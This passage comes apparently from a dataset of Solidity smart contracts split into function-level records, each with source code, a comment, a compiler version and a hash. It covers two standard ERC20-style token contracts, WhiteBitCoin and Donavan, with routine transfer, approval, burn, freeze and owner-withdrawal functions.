owner = _owner;
balanceOf[owner] = totalSupply; // Give the creator all initial tokens
}
/* Send coins */
function transfer(address _to, uint256 _value) public returns (bool success){
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public returns (bool success) {
require (_value >= 0); //Approval of 0 is revoking approval. So allow 0 here
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) public returns (bool success) {
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value); // Updates totalSupply
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) public returns (bool success) {
require (_value >= 0);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[msg.sender] = balanceOf[msg.sender].add(_value);
emit Unfreeze(msg.sender, _value);
return true;
}
// transfer balance to owner
function withdrawEther(uint256 amount) public {
require(msg.sender == owner);
owner.transfer(amount);
}
// can accept ether
function() external payable {
}
} | approve | function approve(address _spender, uint256 _value) public returns (bool success) {
require (_value >= 0); //Approval of 0 is revoking approval. So allow 0 here
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
| /* Allow another contract to spend some tokens in your behalf */ | Comment | v0.5.6+commit.b259423e | bzzr://a5137b3de058d62d1ed376f2d793ce5440fc1d7037df5cedb510801a3c7161d0 | {
"func_code_index": [
2257,
2564
]
} | 557 |
|||
WhiteBitCoin | WhiteBitCoin.sol | 0x77918dddab31bb1f19878f71f91a159516dcbf97 | Solidity | WhiteBitCoin | contract WhiteBitCoin {
using SafeMath for uint256;
string constant public name = "WhiteBit Coin";
string constant public symbol = "WHBC";
uint8 constant public decimals = 18;
address payable public owner;
uint256 public totalSupply = 180e6*uint256(10)**decimals;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Approval events, allowing applications to reconstruct the allowance status for all
accounts just by listening to said events */
event Approval(address indexed owner, address indexed spender, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(address payable _owner) public {
owner = _owner;
balanceOf[owner] = totalSupply; // Give the creator all initial tokens
}
/* Send coins */
function transfer(address _to, uint256 _value) public returns (bool success){
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public returns (bool success) {
require (_value >= 0); //Approval of 0 is revoking approval. So allow 0 here
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) public returns (bool success) {
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value); // Updates totalSupply
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) public returns (bool success) {
require (_value >= 0);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[msg.sender] = balanceOf[msg.sender].add(_value);
emit Unfreeze(msg.sender, _value);
return true;
}
// transfer balance to owner
function withdrawEther(uint256 amount) public {
require(msg.sender == owner);
owner.transfer(amount);
}
// can accept ether
function() external payable {
}
} | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
| /* A contract attempts to get the coins */ | Comment | v0.5.6+commit.b259423e | bzzr://a5137b3de058d62d1ed376f2d793ce5440fc1d7037df5cedb510801a3c7161d0 | {
"func_code_index": [
2617,
3259
]
} | 558 |
|||
WhiteBitCoin | WhiteBitCoin.sol | 0x77918dddab31bb1f19878f71f91a159516dcbf97 | Solidity | WhiteBitCoin | contract WhiteBitCoin {
using SafeMath for uint256;
string constant public name = "WhiteBit Coin";
string constant public symbol = "WHBC";
uint8 constant public decimals = 18;
address payable public owner;
uint256 public totalSupply = 180e6*uint256(10)**decimals;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Approval events, allowing applications to reconstruct the allowance status for all
accounts just by listening to said events */
event Approval(address indexed owner, address indexed spender, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(address payable _owner) public {
owner = _owner;
balanceOf[owner] = totalSupply; // Give the creator all initial tokens
}
/* Send coins */
function transfer(address _to, uint256 _value) public returns (bool success){
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public returns (bool success) {
require (_value >= 0); //Approval of 0 is revoking approval. So allow 0 here
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) public returns (bool success) {
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value); // Updates totalSupply
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) public returns (bool success) {
require (_value >= 0);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[msg.sender] = balanceOf[msg.sender].add(_value);
emit Unfreeze(msg.sender, _value);
return true;
}
// transfer balance to owner
function withdrawEther(uint256 amount) public {
require(msg.sender == owner);
owner.transfer(amount);
}
// can accept ether
function() external payable {
}
} | withdrawEther | function withdrawEther(uint256 amount) public {
require(msg.sender == owner);
owner.transfer(amount);
}
| // transfer balance to owner | LineComment | v0.5.6+commit.b259423e | bzzr://a5137b3de058d62d1ed376f2d793ce5440fc1d7037df5cedb510801a3c7161d0 | {
"func_code_index": [
4457,
4588
]
} | 559 |
|||
WhiteBitCoin | WhiteBitCoin.sol | 0x77918dddab31bb1f19878f71f91a159516dcbf97 | Solidity | WhiteBitCoin | contract WhiteBitCoin {
using SafeMath for uint256;
string constant public name = "WhiteBit Coin";
string constant public symbol = "WHBC";
uint8 constant public decimals = 18;
address payable public owner;
uint256 public totalSupply = 180e6*uint256(10)**decimals;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
/* This notifies clients about the amount frozen */
event Freeze(address indexed from, uint256 value);
/* This notifies clients about the amount unfrozen */
event Unfreeze(address indexed from, uint256 value);
/* Approval events, allowing applications to reconstruct the allowance status for all
accounts just by listening to said events */
event Approval(address indexed owner, address indexed spender, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor(address payable _owner) public {
owner = _owner;
balanceOf[owner] = totalSupply; // Give the creator all initial tokens
}
/* Send coins */
function transfer(address _to, uint256 _value) public returns (bool success){
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public returns (bool success) {
require (_value >= 0); //Approval of 0 is revoking approval. So allow 0 here
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/* A contract attempts to get the coins */
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require (_value >= 0);
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function freeze(uint256 _value) public returns (bool success) {
require (_value >= 0);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value); // Updates totalSupply
emit Freeze(msg.sender, _value);
return true;
}
function unfreeze(uint256 _value) public returns (bool success) {
require (_value >= 0);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value); // Subtract from the sender
balanceOf[msg.sender] = balanceOf[msg.sender].add(_value);
emit Unfreeze(msg.sender, _value);
return true;
}
// transfer balance to owner
function withdrawEther(uint256 amount) public {
require(msg.sender == owner);
owner.transfer(amount);
}
// can accept ether
function() external payable {
}
} | function() external payable {
}
| // can accept ether | LineComment | v0.5.6+commit.b259423e | bzzr://a5137b3de058d62d1ed376f2d793ce5440fc1d7037df5cedb510801a3c7161d0 | {
"func_code_index": [
4616,
4657
]
} | 560 |
||||
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DNTT";
name = "Donavan United Corporation";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | totalSupply | function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
| // ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
942,
1061
]
} | 561 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DNTT";
name = "Donavan United Corporation";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | balanceOf | function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
| // ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
1283,
1408
]
} | 562 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DNTT";
name = "Donavan United Corporation";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | transfer | function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
1754,
2026
]
} | 563 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DNTT";
name = "Donavan United Corporation";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and a
// fixed supply
// ---------------------------------------------------------------------------- | LineComment | approve | function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------ | LineComment | v0.5.0+commit.1d4f565a | MIT | bzzr://f71b98937fcfd0d2a478b2604cb9593fbf5888042e38f7db941238aa266fcd59 | {
"func_code_index": [
2537,
2750
]
} | 564 |
Donavan | Donavan.sol | 0x4834684cb1b52be205d17c7f46e01b7a2bf71b73 | Solidity | Donavan | contract Donavan is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DNTT";
name = "Donavan United Corporation";
decimals = 18;
_totalSupply = 1000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
